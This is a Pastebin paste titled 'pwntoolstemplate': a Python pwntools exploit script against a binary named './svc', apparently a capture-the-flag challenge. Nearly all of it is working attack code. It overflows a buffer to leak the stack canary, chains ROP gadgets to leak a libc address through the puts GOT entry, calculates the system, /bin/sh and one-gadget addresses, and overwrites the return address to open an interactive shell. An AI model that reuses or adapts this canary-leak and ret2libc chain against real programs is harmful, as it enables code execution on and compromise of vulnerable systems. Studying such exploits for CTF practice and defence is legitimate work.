Advertisement
Guest User

pwntoolstemplate

a guest
Feb 29th, 2020
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.05 KB | None | 0 0
  1. #!/usr/bin/python3.7
  2.  
  3. from pwn import *
  4. #context.terminal = ['tmux', 'splitw', '-h']
  5. context.terminal = ['/usr/bin/tilix', '-a', 'session-add-right', '-e' ]
  6. context.arch = 'amd64'
  7. context.bits = 64
  8.  
  9. chal = './svc'
  10. libc = '/lib/x86_64-linux-gnu/libc.so.6'
  11. gdbscript = """br * 0x400ddf
  12. c
  13. """
  14.  
  15. #p = process(chal)
  16. #gdb.attach(p, gdbscript)
  17. p = gdb.debug(chal, gdbscript)
  18.  
  19. e = ELF(chal)
  20. l = ELF(libc)
  21.  
  22. def feed(food):
  23.     p.sendlineafter('>>', '1')
  24.     p.sendlineafter('>>', food)
  25.  
  26. def review():
  27.     p.sendlineafter('>>', '2')
  28.     p.recvuntil('[*]PLEASE TREAT HIM WELL.....\n-------------------------\n')
  29.     return p.recvuntil('-------------------------\n[*]SCV GOOD TO GO,SIR....\n')
  30.  
  31. def mine():
  32.     p.sendlineafter('>>', '3')
  33.     p.recvline()
  34.  
  35. #leak canary by overriding null byte and printing
  36. feed(b'A'*168)
  37. canary = review().split(b'\n')[1]
  38. canary = b'\x00' + canary[0:7]
  39. log.info('leaked canary: ')
  40. log.info(canary)
  41.  
  42. #0x0000000000400ea3: pop rdi; ret;
  43. poprdi = 0x400ea3
  44.  
  45. #rop manuell
  46. #rop = b''
  47. #rop += p64(poprdi)
  48. #rop += p64(e.got['puts'])
  49. #rop += p64(e.symbols['puts'])
  50. #rop += p64(0x400a96) # main
  51.  
  52. #rop pwntools
  53. rop = ROP(e)
  54. rop.puts(e.got['puts'])
  55. rop.call(0x400a96)
  56. log.info(rop.dump())
  57. rop = rop.chain()
  58.  
  59. #send libc leak
  60. feed(b'A'*168 + canary + b'CCCCCCCC' + rop)
  61. mine()
  62. putsleak = p.recvline()[:-1]
  63. log.info('Puts Leak:')
  64. log.info(putsleak)
  65. putsleak = u64(putsleak + b'\x00'*(8-len(putsleak)))
  66. system = putsleak - l.symbols['puts'] + l.symbols['system']
  67. libcbase = putsleak - l.symbols['puts']
  68. binsh = putsleak - l.symbols['puts'] + next(l.search(b'/bin/sh\x00'))
  69. oneg = putsleak - l.symbols['puts'] + 0x10afa9
  70. log.info('system:')
  71. log.info(hex(system))
  72.  
  73. #exploit rop manuell (not working)
  74. #rop = b''
  75. #rop += p64(poprdi)
  76. #rop += p64(binsh)
  77. #rop += p64(system)
  78.  
  79. l.address = libcbase
  80. rop = ROP(l)
  81. rop.system(next(l.search(b'/bin/sh\x00')))
  82. log.info(rop.dump())
  83. rop = rop.chain()
  84.  
  85. feed(b'A'*168 + canary + b'CCCCCCCC' + p64(oneg))
  86. #feed(b'A'*168 + canary + b'CCCCCCCC' + rop)
  87. mine()
  88. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement